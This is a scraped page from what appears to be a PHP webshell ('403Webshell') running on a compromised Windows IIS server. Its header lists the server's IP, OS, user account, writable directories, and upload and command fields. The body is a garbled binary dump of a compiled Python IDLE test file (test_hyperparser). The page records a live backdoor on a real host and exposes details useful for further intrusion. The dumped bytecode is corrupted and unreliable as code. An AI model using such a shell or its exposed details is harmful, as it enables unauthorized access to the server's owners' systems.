403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.18
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/idlelib/idle_test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/idlelib/idle_test/__pycache__/test_hyperparser.cpython-313.opt-1.pyc
�

��i�$���SrSSKJr SSKrSSKJr SSKJrJr SSK	J
r
 "SS5r"S	S
\R5r
\S:Xa\R"SS
9 gg)zTest hyperparser, coverage 98%.�)�HyperParserN)�requires)�Tk�Text)�EditorWindowc�J�\rSrSrSr\Rr\RrSrg)�DummyEditwin�	c�H�XlSUlSUlSUlSUlg)N��>>>)�2i�i�)�text�indentwidth�tabwidth�prompt_last_line�num_context_lines)�selfrs  �7C:\Python313\\Lib\idlelib\idle_test\test_hyperparser.py�__init__�DummyEditwin.__init__
s&���	������
� %���!.���)rrrrrN)	�__name__�
__module__�__qualname__�__firstlineno__rr�_build_char_in_string_func�is_char_in_string�__static_attributes__�rrr	r		s!��/�".�!H�!H��$�6�6�rr	c�t�\rSrSrSr\S5r\S5rSrSr	Sr
SrS	rS
r
SrSrS
rSrSrg)�HyperParserTest�u#"""This is a module docstring"""
# this line is a comment
x = "this is a string"
y = 'this is also a string'
l = [i for i in range(10)]
m = [py*py for # comment
       py in l]
x.__len__
z = ((r'asdf')+('a')))
[x for x in
for = False
cliché = "this is a string with unicode, what a cliché"c���[S5 [5UlURR5 [	UR5Ul[
UR
5Ulg)N�gui)rr�root�withdrawrrr	�editwin��clss r�
setUpClass�HyperParserTest.setUpClass%sA������4�������������>���"�3�8�8�,��rc�D�U?U?URR5 U?g)N)rr(r&�destroyr)s r�
tearDownClass�HyperParserTest.tearDownClass-s ���H�c�k��������Hrc�P�URRSUR5 g)N�insert)rr2�code�rs r�setUp�HyperParserTest.setUp3s���	�	����4�9�9�-rc�^�URRSS5 SURlg)N�1.0�endr
)r�deleter(rr4s r�tearDown�HyperParserTest.tearDown6s"���	�	�����&�(-����%rc�.�[URU5$)z.
Return a parser object with index at 'index'
)rr()r�indexs  r�
get_parser�HyperParserTest.get_parser:s���4�<�<��/�/rc�L�UR[5nURRSSS5 UR	S5nSSS5 URS[
WR55 SURl	UR	S5nURURURRSS55 URRSURRSS5S	-5 UR	S
5ng!,(df   N�=f)z&
test corner cases in the init method
�consoler8z1.endz1.5N�precedes�r9�z54.5)�assertRaises�
ValueErrorr�tag_addr?�assertIn�str�	exceptionr(r�assertEqual�rawtext�getr2)r�ve�ps   r�	test_init�HyperParserTest.test_init@s����
�
�z�
*�b��I�I���i���8�����&�A�+�	
�
�
�j�#�b�l�l�"3�4�)+����%�
�O�O�E�"��������D�I�I�M�M�%��$?�@�	
�	�	�����	�	�
�
�e�U� ;�A� =�>��O�O�F�#��+�
*�s�/D�
D#c�>�URnU"S5nURUR55 U"S5nURUR55 U"S5nURUR55 U"S5nURUR55 U"S5nURUR55 U"S5nURUR55 U"S5nURUR55 g)Nr8z1.4z2.3z3.3z3.7z4.6z12.54)r?�assertFalse�is_in_string�
assertTrue�rrNrPs   r�test_is_in_string�!HyperParserTest.test_is_in_stringTs����o�o����J��������)�*���J��������(�)���J��������)�*���J��������)�*���J��������(�)���J��������(�)���L��������(�)rc���URnU"S5nURUR55 U"S5nURUR55 U"S5nURUR55 U"S5nURUR55 U"S5nURUR55 U"S5nURUR55 g)Nr8z1.1z2.5z3.4z3.6z4.14)r?rV�
is_in_coderTrWs   r�test_is_in_code�HyperParserTest.test_is_in_codefs����o�o����J���������'���J���������(���J���������(���J���������'���J���������(���K���������(rc�f�URnSnSnU"S5nURU"U55 URU"U55 U"S5nURU"U5S5 URU"U5U"U55 U"S5nURU"U5S5 URU"U5U"U55 U"S5nURU"U5S	5 URU"U55 U"S
5nURU"U55 URU"U55 g)Nc� �URSS9$)NF��	mustclose��get_surrounding_brackets��parsers r�without_mustclose�GHyperParserTest.test_get_surrounding_bracket.<locals>.without_mustcloseys���2�2�U�2�C�Crc� �URSS9$)NTr`rbrds r�with_mustclose�DHyperParserTest.test_get_surrounding_bracket.<locals>.with_mustclose~s���2�2�T�2�B�Brz3.2z5.6)z5.4�5.25z5.23)z5.21z5.24z6.15)z6.4z6.endz9.end)r?�assertIsNone�assertTupleEqual)rrNrfrirPs     r�test_get_surrounding_bracket�,HyperParserTest.test_get_surrounding_bracketvs!���o�o��	D�
	C�

��J�����.��+�,����+�A�.�/���J�����/��2�O�D����/��2�N�1�4E�F���K�����/��2�4D�E����/��2�N�1�4E�F���K�����/��2�4D�E����.��+�,���L�����.��+�,����+�A�.�/rc���URnU"S5nURUR5S5 U"S5nUR[5nUR5 SSS5 URS[
WR55 U"S5nURUR5S5 U"S5nURUR5S5 U"S	5nURUR5S
5 U"S5nURUR5S5 U"S5nURUR5S
5 U"S5nURUR5S5 U"S5nUR[5nUR5 SSS5 URS[
UR55 U"S5nURUR5S
5 U"S5nURUR5S
5 U"S5nURUR5S
5 U"S5nURUR5S
5 U"S5nURUR5S5 U"S5nURUR5S5 g!,(df   GNp=f!,(df   GN7=f)Nz4.2zy z4.7zis inside a coderkz	range(10)z6.7�pyz6.8rDz7.9z8.endz	x.__len__z9.13zr'asdf'z9.17z10.0z10.6z10.11z11.3z11.11�Falsez12.6�cliché)r?rL�get_expressionrFrGrIrJrK)rrNrPrOs    r�test_get_expression�#HyperParserTest.test_get_expression�s\���o�o����J������)�)�+�T�2���J��
�
�
�z�
*�b�
����+��
�
�(�#�b�l�l�*;�<���K������)�)�+�[�9���J������)�)�+�T�2���J������)�)�+�R�0���J������)�)�+�T�2���L������)�)�+�[�9���K������)�)�+�Y�7���K��
�
�
�z�
*�b�
����+��
�
�(�#�b�l�l�*;�<���K������)�)�+�R�0���K������)�)�+�R�0���L������)�)�+�R�0���K������)�)�+�R�0���L������)�)�+�W�5���K������)�)�+�Y�7�W+�
*��.+�
*�s�K�K�
K�
K-c��SnURU"S55 URU"S55 URU"S55 URU"S55 URU"S55 URU"S55 URU"S55 URU"S	55 URU"S
55 URU"S55 URU"S55 URU"S
55 URU"S55 URU"S55 URU"S55 URU"S55 URU"S55 UR[R"SSS5[S55 UR[R"SSS5[S55 UR[R"SSS5[S55 URU"S55 URU"S55 URU"S55 URU"S55 URU"S55 URU"S55 URU"S 55 URU"S!55 g)"Nc��[R"US[U55nU[U5:XagUS:XagSRU[U55n[	U5e)NrTFz'Unexpected result: {} (expected 0 or {})r�_eat_identifier�len�format�	Exception)�	candidate�result�err_msgs   r�is_valid_id�8HyperParserTest.test_eat_identifier.<locals>.is_valid_id�sY�� �0�0��A�s�9�~�N�F���Y��'���1���C�J�J��C�	�N��� ��(�(r�2notid�valid_id�	_valid_id�	valid_id_�
_2valid_id�Truerr�None�for�import�return�clichersua٢�2au٢aua²z+ varr��varz+varrEz.var�+� �:�?�^�\�"z
"a string")rTrVrLrryrz)rr�s  r�test_eat_identifier�#HyperParserTest.test_eat_identifier�sG��
	)�	
����X�.�/�	
����J�/�0�����K�0�1�����K�0�1�����L�1�2�	
����F�+�,�����G�,�-�����F�+�,�	
����U�+�,�����X�.�/�����X�.�/�	
����H�-�.�����I�.�/�����E�*�+�	
����T�*�+�����U�+�,�����U�+�,�	
����4�4�W�a��C�S��Z�P�����4�4�V�Q��B�C��J�O�����4�4�V�Q��B�C��J�O�	
����S�)�*�����S�)�*�����S�)�*�����S�)�*�����S�)�*�����T�*�+�����S�)�*�����\�2�3rc	��[Rn[SS5GH-nURU"SU-SU5U5 URU"SU-SU5U5 URU"SSUS-
--SU5U5 URU"SSUS-
--SU5U5 URU"SSUS-
--SU5U5 URU"SUS-
-S-SU5U5 URU"SU-SU5S5 URU"SSUS-
--SU5S5 URU"SSUS-
--SU5S5 GM0 g)N�r#�ar�é�2r�)rry�rangerL)r�eat_id�lengths   r�#test_eat_identifier_various_lengths�3HyperParserTest.test_eat_identifier_various_lengthss^���,�,���A�r�l�F����V�C�&�L�!�V�<�f�E����V�D�6�M�1�f�=�v�F����V�C�#��!��*<�$<�a��H�&�Q����V�D�3�&�1�*�+=�$=�q�&�I�6�R����V�D�3�&�1�*�+=�$=�q�&�I�6�R����V�D�F�Q�J�$7�#�$=�q�&�I�6�R����V�C�&�L�!�V�<�a�@����V�C�#��!��*<�$<�a��H�!�L����V�C�$�&�1�*�*=�$=�q�&�I�1�M�#rr N)rrrrr3�classmethodr+r/r5r;r?rQrXr\rnrur�r�rr rrr"r"sk��
H�	��-��-�����
.�.�0�$�(*�$)� 0�B28�h74�rNrr"�__main__�)�	verbosity)�__doc__�idlelib.hyperparserr�unittest�test.supportr�tkinterrr�idlelib.editorrr	�TestCaser"r�mainr rr�<module>r�sS��!�+��!��'�	7�	7�{N�h�'�'�{N�|�z���M�M�A��r

Youez - 2016 - github.com/yon3zu
LinuXploit